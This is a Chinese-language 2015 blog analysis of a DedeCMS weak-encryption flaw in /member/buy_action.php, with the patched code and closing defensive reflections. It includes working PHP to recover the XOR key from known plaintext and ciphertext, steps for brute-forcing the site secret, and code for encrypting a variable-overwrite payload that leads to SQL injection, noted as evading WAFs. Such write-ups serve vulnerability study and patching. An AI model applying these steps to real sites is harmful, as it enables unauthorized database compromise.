dedecms /member/buy_action.php Weak Password Vulnerability Algorithm Vul

Andrew.Hann發表於2015-05-19

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

1. 漏洞由mchStrCode函式弱演算法(異或演算法: 得其中2知餘下1)->
2. 導致通過獲取到的明文和密文可以逆出經過MD5加密的密匙key->
3. 破解MD5得到密匙->
4. 利用密匙加密攻擊Payload資料,併傳送->
5,在受害者服務端經過parse_str函式和foreach遍歷最終覆蓋表字首變數$GLOBALS[cfg_dbprefix]實現注入
//漏洞利用過程提交的資料因為加密,隱藏了攻擊payload的特徵,和正常使用者操作提交的資料並無二致,很難通過WAF等流量檢測防禦

Relevant Link:

http://m.blog.csdn.net/blog/jay900323/41311407


2. 漏洞觸發條件

0x1: 漏洞測試

firefox的一個外掛User Agent Switcher來設定UA,安裝外掛後,新增一個UA頭,其中的User Agent清空,description隨便填。設定為空是因為mchStrCode函式中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不為空將加大md5的破解難度,設定為空則密匙為固定10位長度。設定好UA後

1. 註冊並登陸會員中心
2. 在"我的織夢"->
3. "消費中心"->
4. "會員升級/點卡充值"中的"購買新點卡"選擇"100點卡"
5. 在點選購買前使用Live HTTP header監聽

因為$_REQUEST獲取引數是從$_GET->$_POST->$_COOKIE依次獲取,所以$pr_encode明文的的內容為POST的內容“product=card&pid=1”加上COOKIE的內容,然後加密並列印加密後的字串到html頁面。明文和密文都獲取到了,通過異或演算法,獲得MD5加密後的$key

<?php
    //明文
    $key = "product=card&pid=1";
    //密文
    $string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字串,需要修改
    $string = base64_decode(urldecode($string));
    for($i=0; $i<strlen($string); $i++)
    {
        $code  .= $string[$i] ^ $key[$i];
    }
    //待暴力破解的$key
    echo "md5(\$key):" .$code;
?>

接下來開始暴力破解$GLOBALS['cfg_cookie_encode'](因為我們控制$_SERVER["HTTP_USER_AGENT"]為空),取逆出的key的前16位破解md5即可,得到的$GLOBALS['cfg_cookie_encode']就是一個密文,我們不需要再次去逆向這個$GLOBALS['cfg_cookie_encode']了,可以直接使用它的密文進行後續的攻擊

到了這一步,發起攻擊的條件都準備好了,我們可以利用獲得的$key,複用mchStrCode函式程式碼,對我們的變數覆蓋payload進行加密,等效於利用了dedecms自己的加密通道發起了變數覆蓋攻擊,利用變數覆蓋漏洞覆蓋$GLOBALS[cfg_dbprefix]實現注入

<?php
    $GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
    function mchStrCode($string,$action='ENCODE')
    {
        $key    = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
        $string    = $action == 'ENCODE' ? $string : base64_decode($string);
        $len    = strlen($key);
        $code    = '';
        for($i=0; $i<strlen($string); $i++)
        {
        $k        = $i % $len;
        $code  .= $string[$i] ^ $key[$k];
        }
        $code = $action == 'DECODE' ? $code : base64_encode($code);
        return $code;
    }

Relevant Link:

http://drops.wooyun.org/papers/979


3. 漏洞影響範圍
4. 漏洞程式碼分析

我們從黑客攻擊步驟的角度,逐步來分析一下漏洞程式碼,同時討論補丁前和補丁後的程式碼
\dedecms5.5\data\sys_pay.cache.php

function mchStrCode($string, $action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';

    for($i = 0; $i < strlen($string); $i++)
    {
        $k        = $i % $len;
        //補丁前是簡單的異或演算法
        $code  .= $string[$i] ^ $key[$k];
    }
    $code = $action == 'DECODE' ? $code : base64_encode($code);
    return $code;
}

我們第一步的目標是推匯出使用者加密的$key,我們從mchStrCode使用流這個角度入手,即分析哪些地方呼叫了mchStrCode這個函式
/member/buy_action.php

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
    //呼叫了mchStrCode函式對$pd_encode變數解密並通過parse_str函式註冊變數
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    //foreach遍歷$mch_Post陣列,這裡如果我們可以控制$pd_encode解碼後的內容,就可以註冊覆蓋任意變數
    foreach($mch_Post as $k => $v) 
        $$k = $v;
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("請不要重複提交表單!", 'javascript:;');
        exit();
    }
    $buyid = $row['buyid']; 
}
..

確定了攻擊向量是變數覆蓋,接下來要分析的是如何構造觸發這條攻擊向量,繼續回到\dedecms5.5\data\sys_pay.cache.php中的mchStrCode函式

function mchStrCode($string, $action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    ..
    for($i = 0; $i < strlen($string); $i++)
    {
        $k        = $i % $len;
        //補丁前是簡單的異或演算法
        $code  .= $string[$i] ^ $key[$k];
    }
    ..
}

其中構成$key的關鍵引數

1. $_SERVER["HTTP_USER_AGENT"]: 瀏覽器的USER_AGENT,攻擊者可控
2. $GLOBALS['cfg_cookie_encode']: 未知,需要暴力破解

/install/index.php的$rnd_cookieEncode字串的生成同樣是加強了強度,$rnd_cookieEncode字串最終也就是前面提到的$GLOBALS['cfg_cookie_encode']

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

這段程式碼生成的加密密匙很有規律,所有金鑰數為26^6*(9999-1000)=2779933068224,把所有可能的組合生成字典,用passwordpro暴力跑MD5或者使用GPU來破解,可以得到原始金鑰
總結一下上文

1. 要暴力破解$GLOBALS['cfg_cookie_encode'],就需要知道$key密文
2. 因為mchStrCode函式的簡單異或演算法的關係,$key密文可以通過明文和密文異或到得到
/*
假設有明文A,密匙B,密文C,則
C = A ^ B
B = A ^ C
*/

所以現在問題就轉換為了: 如何得到明文以及加密後的字串呢
/member/buy_action.php

//$pr_encode是從$_REQUEST獲取的,也就是說明文可控
    $pr_encode = '';
    foreach($_REQUEST as $key => $val)
    {
        $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
    }
    
    $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
    
    $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
    
    $temp_arr = NULL;
    $tpl = new DedeTemplate();
    //$pr_encode加密後寫到html頁面
    $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
    $tpl->Display();

\dedecms5.5\member\templets\buy_action_payment.htm

..
<input type="hidden" name="pd_encode" value="<?php echo $pr_encode;?>">
<input type="hidden" name="pd_verify" value="<?php echo $pr_verify;?>">
..

我們需要的明文和密文都能獲取到

Relevant Link:

http://webscan.360.cn/news/news128

 
5. 防禦方法

/member/buy_action.php

function mchStrCode($string, $operation = 'ENCODE') 
{
    $key_length = 4;
    $expiry = 0;
    $key = md5($GLOBALS['cfg_cookie_encode']);
    $fixedkey = md5($key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++)
    {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if($operation == 'ENCODE') 
    {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } 
    else 
    {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) 
        {
            return substr($result, 26);
        } 
        else 
        {
            return '';
        }
    }
}

Relevant Link:

http://www.dedecms.com/pl/


6. 攻防思考

思考這種攻擊向量,問題的根源不在明文可控、明文、密文洩漏,這些都是對一個WEB應用來說必須的,而根源在於用於密碼的演算法不能採用簡單的異或演算法,應該禁止黑客僅僅通過明密文就可以逆向出$key的密文

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章